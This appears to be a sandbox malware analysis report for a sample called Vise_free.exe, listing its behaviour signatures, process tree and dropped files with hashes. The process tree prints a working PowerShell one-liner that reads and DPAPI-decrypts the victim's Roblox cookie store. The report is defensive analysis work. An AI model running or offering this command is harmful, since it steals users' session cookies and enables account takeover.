Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/08/2026, 17:20

General

  • Target
    Vise_free.exe
  • Size 7.3MB
  • Sample260824-vwer4sec59
  • SHA256 b6975a06027f7439f1622b89eafc54661dd3182f46d8b1a7e7049d51b3b88c09
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 18 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Vise_free.exe
    "C:\Users\Admin\AppData\Local\Temp\Vise_free.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4176
    • C:\Users\Admin\AppData\Local\Temp\Vise_free.exe
      C:\Users\Admin\AppData\Local\Temp\Vise_free.exe
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String((Get-Content \"$env:USERPROFILE\AppData\Local\Roblox\LocalStorage\robloxcookies.dat\" | ConvertFrom-Json).CookiesData), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String((Get-Content \"$env:USERPROFILE\AppData\Local\Roblox\LocalStorage\robloxcookies.dat\" | ConvertFrom-Json).CookiesData), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4288
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        3⤵
        • Executes a command shell one-liner
        PID:1096

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Vise_free.dll

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\Vise_free.dll
        • Size 9.2MB
        • SHA256 37123d87c6303bac897312dc6332bf293fc11edc76f22f14d08aea4e4ad26ddf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\_bz2.pyd
        • Size 84KB
        • SHA256 65f610646d10d5babea080e060d244b546ec52c54012e5e937dc72dcc2e2e7bc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\_ctypes.pyd
        • Size 124KB
        • SHA256 0e56107a891100535f2da79d85a5ae65ff1227b4765bd108f8593ac1a1110d81
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\_hashlib.pyd
        • Size 67KB
        • SHA256 03d233dbace599168eaffec823de6ed7beec8c2a4ebfe9b8a3d8e042a59af3ba
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\_lzma.pyd
        • Size 157KB
        • SHA256 e3deecc1f59a3b811c608861decd84de1e8df8bafd5e2b39188861318c5a38cf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\_queue.pyd
        • Size 32KB
        • SHA256 48e76e0ad63f6932b4a77b5819f41c1e7595636ca8d9e824f0943a14b8bb5035
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\_socket.pyd
        • Size 83KB
        • SHA256 3efa4636cf9e350856f6927d67a4c2564bf9bd2758a00bbf17d3aece5b60016d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\_ssl.pyd
        • Size 175KB
        • SHA256 0bc527d2dbc50009f43b2ed5d5982c4f63f4b647647ffa9eda612dcda80f6040
        • MD5 SHA1 SHA512 SSDEEP TLSH

        cacert.pem

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\certifi\cacert.pem
        • Size 264KB
        • SHA256 4f3975ff30abbf35443b486064ae8bcb41dff707ffdf576c76d292fb458aa0a9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        md.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\charset_normalizer\md.pyd
        • Size 10KB
        • SHA256 76a535e0953b48a2348b877236a5799cf1d01cb21422c7f17942f35367cb5c8f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        md__mypyc.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\charset_normalizer\md__mypyc.pyd
        • Size 124KB
        • SHA256 0830c3ff6e6f8394a7df170f95fc10de65ab9f22b30f9d2383f0cc299b8df101
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\libcrypto-3.dll
        • Size 5.0MB
        • SHA256 ccfffddcd3defb8d899026298af9af43bc186130f8483d77e97c93233d5f27d7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\libssl-3.dll
        • Size 776KB
        • SHA256 007142039f04d04e0ed607bda53de095e5bc6a8a10d26ecedde94ea7d2d7eefe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python312.dll

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\python312.dll
        • Size 6.6MB
        • SHA256 9a0e3435aaa680d868150f87ab3e388ad2eebc22f87e036155c7b4eda8cd2120
        • MD5 SHA1 SHA512 SSDEEP TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\select.pyd
        • Size 32KB
        • SHA256 d4d7181b11db0bd22a6cd5cda6f8583d1f5c77615fd0a6ca33350619d6e0438a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\onefile_4176_849718_sQg2pGY1IOo\unicodedata.pyd
        • Size 1.1MB
        • SHA256 208ee1cd3cbad0828433ca7246b05be2b1ff5569983d27d296c0b38888585488
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4288-58-0x000002162AD40000-0x000002162AD62000-memory.dmp

        memory/4288-59-0x00000216432B0000-0x0000021643300000-memory.dmp

        memory/4288-60-0x00000216434D0000-0x0000021643692000-memory.dmp